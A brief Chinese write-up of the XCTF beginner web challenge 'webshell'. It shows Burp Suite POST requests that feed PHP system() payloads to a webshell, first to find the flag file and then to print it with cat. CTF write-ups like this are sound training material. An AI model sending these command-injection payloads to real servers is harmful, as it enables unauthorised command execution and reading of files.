攻防世界-web-新手练习区-webshell


1,从提示上可以看出是post方法提交变量shell。

2,burpsuite抓包,发送至repeater。修改为post方法,消息头中添加Content-Type: application/x-www-form-urlencoded。

消息体中写shell=system('find / -name flag*');

 

 

从response中可以看到查询到flag.txt。

3,post方法不变,修改shell=system('cat /var/www/html/flag.txt'),发送消息。得到flag。

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM